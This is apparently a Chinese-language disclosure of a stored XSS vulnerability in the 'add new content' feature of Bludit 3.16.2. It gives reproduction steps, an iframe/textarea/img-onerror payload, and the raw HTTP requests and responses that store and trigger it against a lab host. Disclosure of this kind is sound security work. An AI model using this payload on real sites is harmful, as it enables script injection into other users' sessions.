漏洞标题：存储型XSS “添加新内容"功能 - bluditv3.16.2

日期：2025年7月

漏洞作者：Andrey Stoykov

版本：3.16.2

测试环境：Debian 12

博客：https://msecureltd.blogspot.com/

存储型XSS “添加新内容"功能 #1：

复现步骤：

使用管理员账户登录并访问"新建内容”
在"源代码"字段中输入以下参数 <iframe><textarea></iframe><img src="" onerror="alert(document.domain)">
点击"预览"时XSS载荷将触发

// HTTP POST请求添加新内容

POST /bludit/admin/new-content HTTP/1.1 Host: 192.168.58.133 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 […]

tokenCSRF=03a860fcc567fed86f6cb57e5877a469ef27e2ac&uuid=b219c568827ee49d5b8be839d6ab1043&type=published&coverImage=&content=<textarea><img+src%3d”"+onerror%3d"alert(document.domain)">&category=&description=&date=2025-06-04+15%3A15%3A17&typeSelector=published&position=3&tags=&template=&externalCoverImage=&slug=xss&noindex=0&nofollow=0&noarchive=0&title=xss

// HTTP响应

HTTP/1.1 301 Moved Permanently Date: Wed, 04 Jun 2025 19:16:04 GMT Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3 X-Powered-By: Bludit Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Location: /bludit/admin/content Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

// HTTP GET请求触发XSS

GET /bludit/admin/edit-content/xss HTTP/1.1 Host: 192.168.58.133 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 […]

// HTTP响应

HTTP/1.0 200 OK Date: Wed, 04 Jun 2025 19:16:06 GMT Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3 X-Powered-By: Bludit Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8

[…]

<span>Licensed under CC BY-NC-SA 4.0</span>
    </section>
    </footer>

</article>

<div class="article-details">
            <h2 class="article-title">XSS漏洞实战指南：从入门到精通的CTF挑战</h2>
        </div>
    </a>
</article>

<div class="article-details">
            <h2 class="article-title">利用配置错误的postMessage()函数实现基于DOM的XSS攻击</h2>
        </div>
    </a>
</article>

<div class="article-details">
            <h2 class="article-title">Swagger UI 1.0.3 跨站脚本（XSS）漏洞利用详解</h2>
        </div>
    </a>
</article>

<div class="article-details">
            <h2 class="article-title">利用Cookie三明治技术窃取HttpOnly Cookie</h2>
        </div>
    </a>
</article>

<div class="article-details">
            <h2 class="article-title">PivotX 3.0.0 RC3 存储型XSS到远程代码执行漏洞利用分析</h2>
        </div>
    </a>
</article>

</div>
    </div>
</aside>

<div class="disqus-container">
    <div id="disqus_thread"></div>
<script>
    window.disqus_config = function () {
    
    
    
    };
    (function() {
        if (["localhost", "127.0.0.1"].indexOf(window.location.hostname) != -1) {
            document.getElementById('disqus_thread').innerHTML = 'Disqus comments not available by default when the website is previewed locally.';
            return;
        }
        var d = document, s = d.createElement('script'); s.async = true;
        s.src = '//' + "hugo-theme-stack" + '.disqus.com/embed.js';
        s.setAttribute('data-timestamp', +new Date());
        (d.head || d.body).appendChild(s);
    })();
</script>
<noscript>Please enable JavaScript to view the <a href="https://disqus.com/?ref_noscript">comments powered by Disqus.</a></noscript>
<a href="https://disqus.com" class="dsq-brlink">comments powered by <span class="logo-disqus">Disqus</span></a>
</div>

使用 <a href="https://gohugo.io/" target="_blank" rel="noopener">Hugo</a> 构建 <br />
        主题 <b><a href="https://github.com/CaiJimmy/hugo-theme-stack" target="_blank" rel="noopener" data-version="3.30.0">Stack</a></b> 由 <a href="https://jimmycai.com" target="_blank" rel="noopener">Jimmy</a> 设计

<div class="busuanzi-footer">
      <span id="busuanzi_container_site_pv">
        本站总访问量<span id="busuanzi_value_site_pv"></span>次
      </span>
      <span id="busuanzi_container_site_uv">
        本站访客数<span id="busuanzi_value_site_uv"></span>人次
      </span>
    </div>

</section>

</footer>

</div>

</div><script 
                src="https://cdn.jsdelivr.net/npm/photoswipe@4.1.3/dist/photoswipe.min.js"integrity="sha256-ePwmChbbvXbsO02lbM3HoHbSHTHFAeChekF1xKJdleo="crossorigin="anonymous"
                defer
                >
            </script><script 
                src="https://cdn.jsdelivr.net/npm/photoswipe@4.1.3/dist/photoswipe-ui-default.min.js"integrity="sha256-UKkzOn/w1mBxRmLLGrSeyB4e1xbrp4xylgAWb3M42pU="crossorigin="anonymous"
                defer
                >
            </script><link 
                rel="stylesheet" 
                href="https://cdn.jsdelivr.net/npm/photoswipe@4.1.3/dist/default-skin/default-skin.min.css"crossorigin="anonymous"
            ><link 
                rel="stylesheet" 
                href="https://cdn.jsdelivr.net/npm/photoswipe@4.1.3/dist/photoswipe.min.css"crossorigin="anonymous"
            >

</main>
        </div>
        <script 
                src="https://cdn.jsdelivr.net/npm/node-vibrant@3.1.6/dist/vibrant.min.js"integrity="sha256-awcR2jno4kI5X0zL8ex0vi2z+KMkF24hUW8WePSA9HM="crossorigin="anonymous"
                
                >
            </script><script type="text/javascript" src="/ts/main.313ab02d2f8415261a3718a5b3d0e35b62826b81a7f2c46c8122082f4cba0bcf.js" defer></script>
<script>
    (function () {
        const customFont = document.createElement('link');
        customFont.href = "https://fonts.googleapis.com/css2?family=Lato:wght@300;400;700&display=swap";

customFont.type = "text/css";
        customFont.rel = "stylesheet";

document.head.appendChild(customFont);
    }());
</script>

</body>
</html>

Bludit v3.16.2 "添加新内容"功能存储型XSS漏洞分析

本文详细披露了Bludit v3.16.2内容管理系统在"添加新内容"功能中存在的存储型跨站脚本(XSS)漏洞，包含完整的复现步骤、HTTP请求/响应数据以及漏洞触发机制分析。